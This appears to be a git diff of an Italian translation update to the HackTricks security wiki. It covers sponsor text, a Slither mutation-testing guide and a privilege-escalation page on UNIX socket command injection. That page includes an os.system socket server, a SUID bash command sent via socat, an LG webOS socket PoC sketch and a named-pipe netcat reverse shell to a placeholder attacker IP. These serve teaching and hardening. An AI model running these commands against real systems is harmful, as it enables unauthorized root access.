Translated ['', 'src/linux-hardening/privilege-escalation/socket-command

src/README.md

@@ -2,7 +2,7 @@
 
 <figure><img src="images/hacktricks.gif" alt=""><figcaption></figcaption></figure>
 
-_Loghi e motion design di_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Loghi e motion design di Hacktricks realizzati da_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
 
 ### Esegui HackTricks localmente
 ```bash
@@ -31,15 +31,15 @@ export LANG="master" # Leave master for english
 # Run the docker container indicating the path to the hacktricks folder
 docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
 ```
-La tua copia locale di HackTricks sarà **disponibile su [http://localhost:3337](http://localhost:3337)** dopo meno di 5 minuti (deve costruire il libro, sii paziente).
+La tua copia locale di HackTricks sarà **disponibile su [http://localhost:3337](http://localhost:3337)** dopo <5 minuti (deve buildare il libro, sii paziente).
 
-## Sponsor Aziendali
+## Corporate Sponsors
 
 ### [STM Cyber](https://www.stmcyber.com)
 
 <figure><img src="images/stm (1).png" alt=""><figcaption></figcaption></figure>
 
-[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano strumenti di hacking per **offrire diversi servizi di cybersecurity di valore** come pentesting, Red teams e formazione.
+[**STM Cyber**](https://www.stmcyber.com) è una grande azienda di cybersecurity il cui slogan è **HACK THE UNHACKABLE**. Svolgono ricerche proprie e sviluppano i propri hacking tools per **offer several valuable cybersecurity services** come pentesting, Red teams e training.
 
 Puoi consultare il loro **blog** su [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
 
@@ -51,7 +51,7 @@ Puoi consultare il loro **blog** su [**https://blog.stmcyber.com**](https://blog
 
 <figure><img src="images/image (45).png" alt=""><figcaption></figcaption></figure>
 
-[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **la missione di promuovere la conoscenza tecnica**, questo congresso è un punto d'incontro vivace per professionisti della tecnologia e della cybersecurity in ogni disciplina.
+[**RootedCON**](https://www.rootedcon.com) è l'evento di cybersecurity più rilevante in **Spagna** e uno dei più importanti in **Europa**. Con **the mission of promoting technical knowledge**, questo congresso è un vivace punto d'incontro per professionisti della tecnologia e della cybersecurity in ogni disciplina.
 
 {{#ref}}
 https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
 
 <figure><img src="images/image (47).png" alt=""><figcaption></figcaption></figure>
 
-**Intigriti** è il **#1 in Europa** per ethical hacking e **bug bounty platform.**
+**Intigriti** è la **Europe's #1** ethical hacking e **bug bounty platform.**
 
-**Bug bounty tip**: **iscriviti** a **Intigriti**, una premium **bug bounty platform creata da hacker, per hacker**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi e inizia a guadagnare bounty fino a **$100,000**!
+**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Unisciti a noi su [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) oggi, e inizia a guadagnare bounties fino a **$100,000**!
 
 {{#ref}}
 https://go.intigriti.com/hacktricks
@@ -78,9 +78,9 @@ https://go.intigriti.com/hacktricks
 <figure><img src="images/image (48).png" alt=""><figcaption></figcaption></figure>
 
 \
-Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare workflow** alimentati dagli strumenti comunitari più **avanzati** al mondo.
+Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per costruire facilmente e **automatizzare workflows** alimentati dagli strumenti comunitari più **advanced** al mondo.
 
-Ottieni accesso oggi:
+Get Access Today:
 
 {{#ref}}
 https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks
@@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
 
 <figure><img src="images/image (3).png" alt=""><figcaption></figcaption></figure>
 
-Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e bug bounty hunters!
+Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e bug bounty hunters!
 
-- **Hacking Insights:** Condividi contenuti che approfondiscono il brivido e le sfide dell'hacking
-- **Real-Time Hack News:** Rimani aggiornato sul mondo dell'hacking in tempo reale con notizie e approfondimenti
-- **Latest Announcements:** Vieni informato sui nuovi bug bounty in lancio e sugli aggiornamenti importanti delle piattaforme
+- **Hacking Insights:** Approfondisci contenuti che esplorano il brivido e le sfide dell'hacking
+- **Real-Time Hack News:** Rimani aggiornato sul mondo dell'hacking attraverso notizie e approfondimenti in tempo reale
+- **Latest Announcements:** Rimani informato sui nuovi bug bounties in lancio e sugli aggiornamenti cruciali della piattaforma
 
-**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
+**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
 
 ---
 
@@ -106,9 +106,9 @@ Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmw
 
 <figure><img src="images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
 
-**Ottieni la prospettiva di un hacker sulle tue web app, rete e cloud**
+**Get a hacker's perspective on your web apps, network, and cloud**
 
-**Individua e segnala vulnerabilità critiche sfruttabili con reale impatto sul business.** Usa i nostri 20+ strumenti personalizzati per mappare la superficie d'attacco, trovare problemi di sicurezza che permettono escalation di privilegi e usare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo lavoro in report persuasivi.
+Trova e segnala vulnerabilità critiche ed exploitabili con reale impatto sul business. Usa i nostri 20+ custom tools per mappare la attack surface, trovare problemi di sicurezza che permettono di escalate privileges, e utilizzare exploit automatizzati per raccogliere prove essenziali, trasformando il tuo lavoro in report persuasivi.
 
 {{#ref}}
 https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,14 +120,14 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
 
 <figure><img src="images/image (1254).png" alt=""><figcaption></figcaption></figure>
 
-**SerpApi** offre API in tempo reale veloci e facili per **accedere ai risultati dei motori di ricerca**. Effettuano scraping dei motori di ricerca, gestiscono proxy, risolvono captcha e parsano tutti i dati strutturati per te.
+**SerpApi** offre API real-time veloci e semplici per accedere ai risultati dei motori di ricerca. Scansionano search engines, gestiscono proxies, risolvono captchas e parsano tutti i dati strutturati ricchi per te.
 
-Un abbonamento a uno dei piani di SerpApi include l'accesso a oltre 50 API diverse per lo scraping di differenti search engine, inclusi Google, Bing, Baidu, Yahoo, Yandex e altri.\
-A differenza di altri provider, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte di SerpApi includono sempre annunci, immagini inline e video, knowledge graph e altri elementi presenti nei risultati di ricerca.
+Un abbonamento a uno dei piani di SerpApi include accesso a oltre 50 diverse API per scraping di differenti motori di ricerca, inclusi Google, Bing, Baidu, Yahoo, Yandex e altri.\
+A differenza di altri provider, **SerpApi non si limita a fare scraping dei risultati organici**. Le risposte SerpApi includono costantemente tutti gli ads, immagini e video inline, knowledge graphs e altri elementi e feature presenti nei risultati di ricerca.
 
-Tra i clienti attuali di SerpApi ci sono **Apple, Shopify e GrubHub**.\
-Per maggiori informazioni visita il loro [**blog**](https://serpapi.com/blog/)**,** o prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
-Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign_up)**.**
+I clienti attuali di SerpApi includono **Apple, Shopify, and GrubHub**.\
+Per maggiori informazioni visita il loro [**blog**](https://serpapi.com/blog/)**,** oppure prova un esempio nel loro [**playground**](https://serpapi.com/playground)**.**\
+Puoi **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
 
 ---
 
@@ -135,7 +135,7 @@ Puoi **creare un account gratuito** [**qui**](https://serpapi.com/users/sign_up)
 
 <figure><img src="images/image (2).png" alt=""><figcaption></figcaption></figure>
 
-Impara le tecnologie e le competenze necessarie per svolgere vulnerability research, penetration testing e reverse engineering per proteggere applicazioni e dispositivi mobili. **Padroneggia la security iOS e Android** attraverso i nostri corsi on-demand e **ottieni la certificazione**:
+Impara le tecnologie e le competenze necessarie per svolgere vulnerability research, penetration testing e reverse engineering per proteggere applicazioni e dispositivi mobili. **Master iOS and Android security** tramite i nostri corsi on-demand e **get certified**:
 
 {{#ref}}
 https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
 
 <figure><img src="images/websec (1).svg" alt=""><figcaption></figcaption></figure>
 
-[**WebSec**](https://websec.net) è una società professionale di cybersecurity con sede ad **Amsterdam** che aiuta a **proteggere** le aziende **in tutto il mondo** contro le più recenti minacce fornendo **offensive-security services** con un approccio **moderno**.
+[**WebSec**](https://websec.net) è una società professionale di cybersecurity con sede ad **Amsterdam** che aiuta a proteggere le aziende **all over the world** contro le più recenti minacce di cybersecurity offrendo **offensive-security services** con un approccio **modern**.
 
-WebSec è una società internazionale con uffici ad Amsterdam e in Wyoming. Offrono **servizi di sicurezza tutto-in-uno** che coprono: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campaigns, Code Review, Exploit Development, Outsourcing di Security Experts e molto altro.
+WebSec è un'azienda di security internazionale con uffici ad Amsterdam e Wyoming. Offrono **all-in-one security services** il che significa che fanno tutto; Pentesting, **Security** Audits, Awareness Trainings, campagne di Phishing, Code Review, Exploit Development, Security Experts Outsourcing e molto altro.
 
-Un'altra cosa interessante di WebSec è che, a differenza della media del settore, WebSec è **molto fiduciosa nelle proprie capacità**, a tal punto da **garantire i migliori risultati di qualità**, come si legge sul loro sito: "**If we can't hack it, You don't pay it!**". Per maggiori info dai un'occhiata al loro [**website**](https://websec.net/en/) e al loro [**blog**](https://websec.net/blog/)!
+Un altro aspetto interessante di WebSec è che, a differenza della media del settore, WebSec è **very confident in their skills**, a tal punto che **guarantee the best quality results**, come dichiarano sul loro sito "**If we can't hack it, You don't pay it!**". Per maggiori informazioni visita il loro [**website**](https://websec.net/en/) e il loro [**blog**](https://websec.net/blog/)!
 
-In aggiunta, WebSec è anche un **sostenitore impegnato di HackTricks.**
+In aggiunta a quanto sopra, WebSec è anche un **committed supporter of HackTricks.**
 
 {{#ref}}
 https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -166,9 +166,9 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
 <figure><img src="images/venacus-logo.svg" alt="venacus logo"><figcaption></figcaption></figure>
 
 [**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) è un motore di ricerca per data breach (leak). \
-Forniamo ricerca per stringhe casuali (come google) su tutti i tipi di data leak grandi e piccoli --non solo i grandi-- su dati provenienti da più fonti. \
-Ricerca persone, ricerca AI, ricerca organizzazioni, accesso API (OpenAPI), integrazione con theHarvester, tutte le funzionalità di cui un pentester ha bisogno.\
-**HackTricks continua a essere una grande piattaforma di apprendimento per tutti noi e siamo orgogliosi di sponsorizzarla!**
+Offriamo random string search (like google) su tutti i tipi di data leaks grandi e piccoli -- non solo i grandi -- su dati provenienti da molteplici fonti. \
+People search, AI search, organization search, API (OpenAPI) access, theHarvester integration, tutte le feature di cui un pentester ha bisogno.\
+**HackTricks continua ad essere una grande piattaforma di apprendimento per tutti noi e siamo orgogliosi di sponsorizzarla!**
 
 {{#ref}}
 https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
 
 
 **Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) sviluppa e offre training di cybersecurity efficaci costruiti e guidati da esperti del settore. I loro programmi vanno oltre la teoria per dotare i team di una profonda comprensione e competenze pratiche, usando ambienti personalizzati che riflettono minacce del mondo reale. Per richieste di training su misura, contattaci [**qui**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) sviluppa e fornisce training di cybersecurity efficaci creati e guidati da esperti del settore. I loro programmi vanno oltre la teoria per fornire ai team una profonda comprensione e competenze pratiche, utilizzando ambienti personalizzati che riflettono minacce reali. Per richieste di training personalizzati contattaci [**here**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
 
-**Cosa distingue il loro training:**
-* Contenuti e lab personalizzati
-* Supportati da tool e piattaforme di alto livello
-* Progettati e insegnati da practitioner
+**What sets their training apart:**
+* Contenuti e lab su misura
+* Supportati da top-tier tools e platforms
+* Progettati e tenuti da practitioners
 
 {{#ref}}
 https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
 
 <figure><img src="images/lasttower.png" alt="lasttower logo"><figcaption></figcaption></figure>
 
-Last Tower Solutions offre servizi di cybersecurity specializzati per istituzioni di **Education** e **FinTech**, con focus su **penetration testing, cloud security assessments**, e **compliance readiness** (SOC 2, PCI-DSS, NIST). Il nostro team include professionisti certificati **OSCP e CISSP**, portando competenze tecniche profonde e insight secondo gli standard del settore in ogni engagement.
+Last Tower Solutions fornisce servizi di cybersecurity specializzati per istituzioni **Education** e **FinTech**, con un focus su **penetration testing, cloud security assessments**, e **compliance readiness** (SOC 2, PCI-DSS, NIST). Il nostro team include professionisti certificati **OSCP and CISSP**, che portano approfondita expertise tecnica e insight standard di settore in ogni engagement.
 
-Andiamo oltre gli scan automatici con **test manuali guidati dall'intelligence** su misura per ambienti ad alto rischio. Dal proteggere i record degli studenti al tutelare le transazioni finanziarie, aiutiamo le organizzazioni a difendere ciò che conta di più.
+Andiamo oltre gli scan automatizzati con **manual, intelligence-driven testing** su misura per ambienti ad alto rischio. Dal proteggere i dati degli studenti al salvaguardare le transazioni finanziarie, aiutiamo le organizzazioni a difendere ciò che conta di più.
 
 _“A quality defense requires knowing the offense, we provide security through understanding.”_
 
-Rimani informato con le ultime novità in cybersecurity visitando il nostro [**blog**](https://www.lasttowersolutions.com/blog).
+Rimani informato con le ultime novità in cybersecurity visitando il loro [**blog**](https://www.lasttowersolutions.com/blog).
 
 {{#ref}}
 https://www.lasttowersolutions.com/
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
 
 ### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
 
-<figure><img src="images/k8studio.png" alt="k8studio logo"><figcaption></figcaption></figure>
+<figure><img src="images/k8studio.jpg" alt="k8studio logo"><figcaption></figcaption></figure>
 
-K8Studio IDE permette a DevOps, DevSecOps e sviluppatori di gestire, monitorare e mettere in sicurezza cluster Kubernetes in modo efficiente. Sfrutta i nostri insight guidati dall'AI, un advanced security framework e l'intuitiva CloudMaps GUI per visualizzare i cluster, comprenderne lo stato e agire con sicurezza.
+K8Studio IDE consente a DevOps, DevSecOps e sviluppatori di gestire, monitorare e mettere in sicurezza cluster Kubernetes in modo efficiente. Sfrutta i nostri insights AI-driven, advanced security framework e l'intuitiva GUI CloudMaps per visualizzare i cluster, comprendere il loro stato e agire con fiducia.
 
-Inoltre, K8Studio è **compatibile con tutte le principali distribuzioni di kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift e altro).
+Inoltre, K8Studio è **compatible with all major kubernetes distributions** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift and more).
 
 {{#ref}}
 https://k8studio.io/

src/blockchain/smart-contract-security/mutation-testing-with-slither.md

@@ -2,13 +2,13 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Mutation testing "tests your tests" introducendo sistematicamente piccole modifiche (mutants) nel tuo codice Solidity e rieseguendo la tua test suite. Se un test fallisce, il mutant viene ucciso. Se i test continuano a passare, il mutant sopravvive, rivelando un punto cieco nella tua test suite che la line/branch coverage non può rilevare.
+Mutation testing "testa i tuoi test" introducendo sistematicamente piccole modifiche (mutanti) nel tuo codice Solidity e rieseguendo la tua test suite. Se un test fallisce, il mutante viene ucciso. Se i test continuano a passare, il mutante sopravvive, rivelando un punto cieco nella tua test suite che la copertura delle linee o dei rami non può individuare.
 
-Idea chiave: la copertura mostra che il codice è stato eseguito; mutation testing mostra se il comportamento è effettivamente verificato.
+Idea chiave: la copertura indica che il codice è stato eseguito; la mutation testing indica invece se il comportamento è effettivamente verificato.
 
 ## Perché la copertura può ingannare
 
-Considera questo semplice controllo della soglia:
+Considera questo semplice controllo di soglia:
 ```solidity
 function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
 if (deposit >= 1 ether) {
@@ -18,94 +18,94 @@ return false;
 }
 }
 ```
-I test unitari che verificano solo un valore al di sotto e uno al di sopra della soglia possono raggiungere il 100% di copertura di linee/branch pur non asserendo il confine di uguaglianza (==). Un refactor a `deposit >= 2 ether` passerebbe comunque tali test, rompendo silenziosamente la logica del protocollo.
+I test unitari che verificano solo un valore sotto e un valore sopra la soglia possono raggiungere il 100% di copertura di linea/branch pur non verificando il vincolo di uguaglianza (==). Un refactor a `deposit >= 2 ether` passerebbe comunque questi test, rompendo silenziosamente la logica del protocollo.
 
-Il mutation testing mette in luce questa lacuna mutando la condizione e verificando che i test falliscano.
+Mutation testing espone questa lacuna mutando la condizione e verificando che i test falliscano.
 
-## Common Solidity mutation operators
+## Operatori di mutazione comuni in Solidity
 
-Il motore di mutazione di Slither applica molte piccole modifiche che cambiano la semantica, come:
-- Sostituzione operatori: `+` ↔ `-`, `*` ↔ `/`, etc.
+Il motore di mutation di Slither applica molte piccole modifiche che cambiano la semantica, come:
+- Sostituzione degli operatori: `+` ↔ `-`, `*` ↔ `/`, etc.
 - Sostituzione delle assegnazioni: `+=` → `=`, `-=` → `=`
-- Sostituzione delle costanti: diverso da zero → `0`, `true` ↔ `false`
-- Negazione/sostituzione delle condizioni all'interno di `if`/cicli
+- Sostituzione delle costanti: non-zero → `0`, `true` ↔ `false`
+- Negazione/sostituzione della condizione dentro `if`/loop
 - Commentare intere righe (CR: Comment Replacement)
 - Sostituire una riga con `revert()`
-- Scambio di tipi di dato: p.es., `int128` → `int64`
+- Scambio dei tipi di dato: ad es., `int128` → `int64`
 
-Obiettivo: uccidere il 100% dei mutanti generati, o giustificare i superstiti con ragionamenti chiari.
+Obiettivo: kill 100% dei mutanti generati, o giustificare i sopravvissuti con ragionamenti chiari.
 
 ## Running mutation testing with slither-mutate
 
-Requirements: Slither v0.10.2+.
+Requisiti: Slither v0.10.2+.
 
-- Elenca le opzioni e i mutatori:
+- List options and mutators:
 ```bash
 slither-mutate --help
 slither-mutate --list-mutators
 ```
-- Esempio Foundry (cattura i risultati e conserva un log completo):
+- Foundry esempio (cattura i risultati e mantieni un log completo):
 ```bash
 slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
 ```
-- Se non usi Foundry, sostituisci `--test-cmd` con il comando che usi per eseguire i test (ad es., `npx hardhat test`, `npm test`).
+- Se non usi Foundry, sostituisci `--test-cmd` con il modo in cui esegui i test (ad esempio, `npx hardhat test`, `npm test`).
 
-Gli artifact e i report vengono salvati in `./mutation_campaign` per impostazione predefinita. I mutanti non rilevati (sopravvissuti) vengono copiati lì per l'ispezione.
+Gli artifact e i report sono memorizzati in `./mutation_campaign` per default. I mutanti non catturati (sopravvissuti) vengono copiati lì per l'ispezione.
 
 ### Comprendere l'output
 
-Le righe del report appaiono così:
+Le righe del report hanno questo aspetto:
 ```text
 INFO:Slither-Mutate:Mutating contract ContractName
 INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
 ```
 - Il tag tra parentesi è l'alias del mutator (es., `CR` = Comment Replacement).
-- `UNCAUGHT` indica che i test sono passati con il comportamento mutato → manca un'asserzione.
+- `UNCAUGHT` significa che i test sono passati sotto il comportamento mutato → asserzione mancante.
 
-## Ridurre il runtime: dare priorità ai mutanti più impattanti
+## Ridurre i tempi di esecuzione: dare priorità ai mutanti più impattanti
 
-Le campagne di mutation possono richiedere ore o giorni. Suggerimenti per ridurre i costi:
-- Scope: Inizia solo con i contracts/directories critici, poi espandi.
-- Prioritize mutators: se un mutante ad alta priorità su una riga sopravvive (es., l'intera riga commentata), puoi saltare le varianti a priorità inferiore per quella riga.
-- Parallelizza i test se il tuo runner lo permette; usa la cache per dependencies/builds.
-- Fail-fast: interrompi presto quando una modifica dimostra chiaramente un gap di asserzione.
+Le campagne di mutation possono richiedere ore o giorni. Consigli per ridurre i costi:
+- Ambito: Inizia solo con i contratti/directory critici, poi espandi.
+- Prioritizza i mutator: se un mutante ad alta priorità su una riga sopravvive (es., intera riga commentata), puoi saltare le varianti a priorità inferiore per quella riga.
+- Parallelizza i test se il tuo runner lo permette; usa la cache per dipendenze/build.
+- Fail-fast: fermati presto quando una modifica dimostra chiaramente una lacuna nelle asserzioni.
 
-## Flusso di triage per i mutanti sopravvissuti
+## Workflow di triage per i mutanti sopravvissuti
 
-1) Ispeziona la linea mutata e il comportamento.
-- Riproduci localmente applicando la linea mutata ed eseguendo un test focalizzato.
+1) Ispeziona la riga mutata e il comportamento.
+- Riproduci localmente applicando la riga mutata ed eseguendo un test mirato.
 
 2) Rafforza i test per asserire lo stato, non solo i valori di ritorno.
-- Aggiungi controlli di uguaglianza/limite (es., test threshold `==`).
-- Asserisci post-condizioni: balances, total supply, effetti di autorizzazione e eventi emessi.
+- Aggiungi controlli sui confini di uguaglianza (es., verifica della soglia `==`).
+- Asserisci post-condizioni: saldi, total supply, effetti di autorizzazione e eventi emessi.
 
-3) Sostituisci i mock eccessivamente permissivi con comportamenti realistici.
+3) Sostituisci mock eccessivamente permissivi con comportamenti realistici.
 - Assicurati che i mock impongano trasferimenti, percorsi di fallimento e emissioni di eventi che avvengono on-chain.
 
-4) Aggiungi invarianti per i fuzz tests.
-- Es., conservazione del valore, saldi non negativi, invarianti di autorizzazione, monotonia dell'offerta dove applicabile.
+4) Aggiungi invarianti per i test di fuzzing.
+- Es., conservazione del valore, saldi non negativi, invarianti di autorizzazione, supply monotona quando applicabile.
 
-5) Riesegui slither-mutate finché i mutanti sopravvissuti non vengono eliminati o giustificati esplicitamente.
+5) Riesegui slither-mutate finché i sopravvissuti non vengono eliminati o giustificati esplicitamente.
 
-## Caso di studio: rivelare asserzioni di stato mancanti (Arkis protocol)
+## Caso di studio: rivelare asserzioni di stato mancanti (protocollo Arkis)
 
-Una mutation campaign durante un audit del Arkis DeFi protocol ha fatto emergere dei mutanti sopravvissuti come:
+Una campagna di mutation durante un audit del protocollo DeFi Arkis ha portato alla luce sopravvissuti come:
 ```text
 INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
 ```
-Commentare l'assegnazione non ha rotto i test, dimostrando la mancanza di asserzioni sullo stato finale. Causa principale: il codice si fidava di un `_cmd.value` controllato dall'utente invece di validare i trasferimenti effettivi di token. Un attacker poteva desincronizzare trasferimenti attesi e reali per prosciugare fondi. Risultato: rischio di alta severità per la solvibilità del protocollo.
+Commentare l'assegnazione non ha fatto fallire i test, dimostrando l'assenza di asserzioni sullo stato post-operazione. Causa principale: il codice si affidava a un `_cmd.value` controllato dall'utente invece di validare i trasferimenti effettivi di token. Un attaccante poteva disallineare i trasferimenti attesi rispetto a quelli effettivi per drenare fondi. Risultato: rischio di alta gravità per la solvibilità del protocollo.
 
-Guidance: Considera i mutanti sopravvissuti che influenzano trasferimenti di valore, contabilità o access control come ad alto rischio finché non vengono eliminati.
+Guidance: Tratta i mutanti sopravvissuti che influenzano trasferimenti di valore, contabilità o controllo degli accessi come ad alto rischio finché non vengono 'killed'.
 
 ## Checklist pratica
 
 - Esegui una campagna mirata:
 - `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Triaga i mutanti sopravvissuti e scrivi test/invarianti che fallirebbero con il comportamento mutato.
+- Effettua il triage dei mutanti sopravvissuti e scrivi test/invarianti che fallirebbero con il comportamento mutato.
 - Verifica saldi, supply, autorizzazioni ed eventi.
-- Aggiungi test sui casi limite (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
-- Sostituisci mock irrealistici; simula modalità di errore.
-- Itera finché tutti i mutanti non vengono eliminati o giustificati con commenti e razionale.
+- Aggiungi test ai bordi (`==`, overflow/underflow, indirizzo zero, importo zero, array vuoti).
+- Sostituisci i mock irrealistici; simula modalità di fallimento.
+- Itera finché tutti i mutanti non vengono 'killed' o giustificati con commenti e motivazioni.
 
 ## Riferimenti
 

src/linux-hardening/privilege-escalation/socket-command-injection.md

@@ -2,9 +2,9 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Esempio di socket binding con Python
+## Socket binding example with Python
 
-Nell'esempio seguente viene creato un **unix socket** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** sarà **eseguito** da `os.system`. So che non lo troverai nel mondo reale, ma l'obiettivo di questo esempio è vedere com'è un codice che usa unix sockets e come gestire l'input nel peggior caso possibile.
+Nel seguente esempio viene creato un **unix socket** (`/tmp/socket_test.s`) e tutto ciò che viene **ricevuto** verrà **eseguito** da `os.system`. So che non lo troverai nel mondo reale, ma l'obiettivo di questo esempio è mostrare com'è fatto un codice che usa unix sockets e come gestire l'input nel peggior caso possibile.
 ```python:s.py
 import socket
 import os, os.path
@@ -26,7 +26,7 @@ print(datagram)
 os.system(datagram)
 conn.close()
 ```
-**Esegui** il codice usando python: `python s.py` e **verifica come il socket è in ascolto**:
+**Esegui** il codice usando python: `python s.py` e **controlla come la socket è in ascolto**:
 ```python
 netstat -a -p --unix | grep "socket_test"
 (Not all processes could be identified, non-owned process info
@@ -37,17 +37,17 @@ unix  2      [ ACC ]     STREAM     LISTENING     901181   132748/python
 ```python
 echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/tmp/socket_test.s
 ```
-## Caso di studio: escalation tramite signal su UNIX socket di proprietà root (LG webOS)
+## Caso di studio: Root-owned UNIX socket signal-triggered escalation (LG webOS)
 
-Alcuni daemons privilegiati espongono un root-owned UNIX socket che accetta input non attendibile e associa azioni privilegiate a thread-IDs e signals. Se il protocollo permette a un client non privilegiato di influenzare quale native thread venga preso di mira, potresti riuscire a innescare un percorso di codice privilegiato e escalation.
+Alcuni daemon privilegiati espongono un root-owned UNIX socket che accetta input non attendibili e associa azioni privilegiate a thread-IDs e signals. Se il protocollo permette a un unprivileged client di influenzare quale native thread venga preso di mira, potresti riuscire a innescare un privileged code path e ottenere escalation.
 
-Pattern osservato:
-- Connettersi a un socket di proprietà root (es., /tmp/remotelogger).
-- Creare un thread e ottenere il suo native thread id (TID).
-- Inviare il TID (packed) più padding come richiesta; ricevere un acknowledgement.
-- Inviare un signal specifico a quel TID per attivare il comportamento privilegiato.
+Observed pattern:
+- Connettiti a un root-owned socket (es., /tmp/remotelogger).
+- Crea un thread e ottieni il suo native thread id (TID).
+- Invia il TID (packed) più padding come request; ricevi un acknowledgement.
+- Invia uno specifico signal a quel TID per triggerare il privileged behaviour.
 
-Bozza di PoC minimale:
+Minimal PoC sketch:
 ```python
 import socket, struct, os, threading, time
 # Spawn a thread so we have a TID we can signal
@@ -59,16 +59,16 @@ s.sendall(struct.pack('<L', tid) + b'A'*0x80)
 s.recv(4)  # sync
 os.kill(tid, 4)  # deliver SIGILL (example from the case)
 ```
-Per trasformarlo in una shell root, può essere usato un semplice pattern named-pipe + nc:
+Per trasformare questo in una shell root, può essere usato un semplice pattern named-pipe + nc:
 ```bash
 rm -f /tmp/f; mkfifo /tmp/f
 cat /tmp/f | /bin/sh -i 2>&1 | nc <ATTACKER-IP> 23231 > /tmp/f
 ```
 Note:
-- Questa classe di bug nasce dal fidarsi di valori derivati dallo stato client non privilegiato (TIDs) e dal legarli a gestori di segnali o a logica privilegiata.
-- Indurire imponendo credenziali sul socket, validando i formati dei messaggi e disaccoppiando le operazioni privilegiate dagli identificatori di thread forniti esternamente.
+- Questa classe di bug nasce dal fidarsi di valori derivati dallo stato del client non privilegiato (TIDs) e dal legarli a signal handlers o a logiche privilegiate.
+- Rafforzare applicando il controllo delle credenziali sul socket, validando i formati dei messaggi e disaccoppiando le operazioni privilegiate dagli identificatori di thread forniti esternamente.
 
-## Riferimenti
+## References
 
 - [LG WebOS TV Path Traversal, Authentication Bypass and Full Device Takeover (SSD Disclosure)](https://ssd-disclosure.com/lg-webos-tv-path-traversal-authentication-bypass-and-full-device-takeover/)
 

src/linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md

@@ -2,22 +2,22 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Questa tecnica sfrutta pipeline di service discovery guidate da regex che analizzano le command line dei processi in esecuzione per dedurre le versioni dei service e quindi eseguire un candidate binary con un flag "version". Quando pattern permissivi accettano percorsi non attendibili controllati dall'attaccante (es. /tmp/httpd), il privileged collector esegue un arbitrary binary da una untrusted location, portando a local privilege escalation. NVISO ha documentato questo in VMware Tools/Aria Operations Service Discovery come CVE-2025-41244.
